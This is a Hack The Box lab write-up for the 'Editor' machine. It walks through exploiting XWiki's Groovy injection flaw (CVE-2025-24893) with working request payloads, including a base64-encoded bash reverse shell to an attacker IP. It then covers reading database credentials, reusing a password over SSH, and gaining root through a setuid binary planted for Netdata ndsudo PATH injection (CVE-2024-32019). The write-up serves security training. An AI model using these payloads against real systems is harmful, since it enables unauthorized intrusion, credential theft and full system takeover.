Editor (HTB)

Platform: Hack The Box
OS: Linux
Difficulty: Easy
Result: root

---

Attack Chain

Reconnaissance
├── nmap -sV -sC -p- editor.htb → 22 (SSH), 80 (nginx), 8080 (Jetty 10.0.20 / XWiki)
├── curl WebHome → XWiki Debian 15.10.8
└── Version 15.10.8 is vulnerable to CVE-2025-24893 (RCE via Groovy in SolrSearch)

Foothold (XWiki Groovy RCE)
├── Burp Repeater: GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=}}}{{async async=false}}{{groovy}}...
├── Payload: ["/bin/bash","-c","cat /etc/passwd"].execute().text → RCE confirmed
├── Reverse shell: base64-encoded bash → /bin/bash -c "echo <B64> | base64 -d | bash"
└── nc -lvnp 9009 → shell as xwiki

Lateral Movement (Credentials)
├── /etc/xwiki/hibernate.cfg.xml
│   └── xwiki : <PASSWORD>
├── Password reuse → ssh oliver@editor.htb
└── cat user.txt → <USER_FLAG>

Privilege Escalation (ndsudo PATH injection)
├── sudo -l → not available; id → netdata group
├── find / -perm -4000 → /opt/netdata/.../ndsudo (SUID root)
├── CVE-2024-32019: ndsudo calls nvme by name (without full path)
├── gcc setuid.c -o nvme (ELF, not shebang!)
├── export PATH=$(pwd):$PATH
└── ndsudo nvme-list → root → cat /root/root.txt

NOTE

All flags, passwords, hashes, and session tokens have been masked for ethical reasons.

---

Machine Briefing

The site "Editor - SimplistCode Pro" runs on nginx + XWiki on Jetty. The platform has a vulnerable XWiki version and a vulnerable SUID Netdata binary.

---

Reconnaissance

Port Scan

sudo nmap -sV -sC -p- editor.htb

Port	Service	Version
22	SSH	OpenSSH 8.9p1 Ubuntu
80	HTTP	nginx
8080	HTTP	Jetty 10.0.20 (XWiki)

Detecting XWiki Version

curl -s http://editor.htb:8080/xwiki/bin/view/Main/WebHome | grep -i xwikiplatformversion -A2

XWiki Debian 15.10.8

The version is vulnerable to CVE-2025-24893 - unauthenticated RCE via Groovy injection in SolrSearch (CVSS 9.8). Patched in 15.10.11.

---

Foothold

Confirming RCE

Request in Burp Repeater:

CVE-2025-24893 (NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24893)

XWiki Debian 15.10.8 - unauthenticated RCE via Groovy injection in SolrSearch. Patched in 15.10.11 (CVSS 9.8).

GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=}}}{{async async=false}}{{groovy}}println(["/bin/bash","-c","cat /etc/passwd"].execute().text){{/groovy}}{{/async}} HTTP/1.1
Host: editor.htb:8080

Payload breakdown:

• }}} - closes the wiki markup
• {{async async=false}} - synchronous macro
• {{groovy}}...{{/groovy}} - Groovy block
• ["/bin/bash","-c","..."].execute().text - shell invocation

The response contains the contents of /etc/passwd - RCE confirmed.

Reverse shell

echo -n 'bash -i >& /dev/tcp/10.10.15.4/9009 0>&1' | base64 -w0

Listener:

nc -lvnp 9009

Request:

GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=}}}{{async async=false}}{{groovy}}println(["/bin/bash","-c","echo <BASE64> | base64 -d | bash"].execute().text){{/groovy}}{{/async}} HTTP/1.1
Host: editor.htb:8080

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

Shell as xwiki.

Stabilize

python3 -c "import pty; pty.spawn('/bin/bash')"
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

---

Lateral Movement

Reading the XWiki config

cd /etc/xwiki
cat hibernate.cfg.xml | grep -i -A2 password

<property name="hibernate.connection.username">xwiki</property>
<property name="hibernate.connection.password"><PASSWORD></property>

Password reuse → SSH

ssh oliver@editor.htb
# Password: <PASSWORD>

User flag

cat user.txt
# <USER_FLAG>

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

---

Privilege Escalation

Enumeration

sudo -l
# Sorry, user oliver may not run sudo on editor.

id
# uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)

find / -perm -4000 -type f 2>/dev/null

Finding:

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo

stat /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
# -rwsr-x--- root netdata

The netdata group grants the right to run ndsudo with SUID root.

CVE-2024-32019 (NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-32019)

Netdata ndsudo - SUID root binary calls child utilities by name, allowing PATH injection.

CVE-2024-32019 (PATH injection)

ndsudo invokes utilities (nvme, smartctl, etc.) by name, relying on $PATH.

Preparing the ELF

// setuid.c
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    system("/bin/bash");
    return 0;
}

gcc setuid.c -o nvme

Important nuance: shebang scripts ignore SUID, so a compiled ELF with an explicit setuid(0) is required.

Delivery and PATH injection

# Kali
python3 -m http.server 8000

# target
cd /dev/shm
wget http://10.10.15.4:8000/nvme
chmod +x nvme
export PATH=$(pwd):$PATH

Trigger

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

ndsudo finds nvme in /dev/shm and executes it with root privileges.

Root

whoami
# root
cat /root/root.txt

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

---

Flags

Flag	Value
User	<USER_FLAG>
Root	<ROOT_FLAG>

---

Key Takeaways

• CVE hunting via the version in the footer - XWiki explicitly returns the version, no need to brute-force exploits.
• Groovy injection via wiki macros - {{async}}/{{groovy}} allows escaping the markup context when the parameter is not validated.
• Password reuse - the DB password from hibernate.cfg.xml matched SSH.
• PATH injection for SUID - if a SUID binary calls child commands by name and the attacker controls $PATH, this is a direct path to privesc.
• SUID does not work on shebang - only on compiled ELF with an explicit setuid().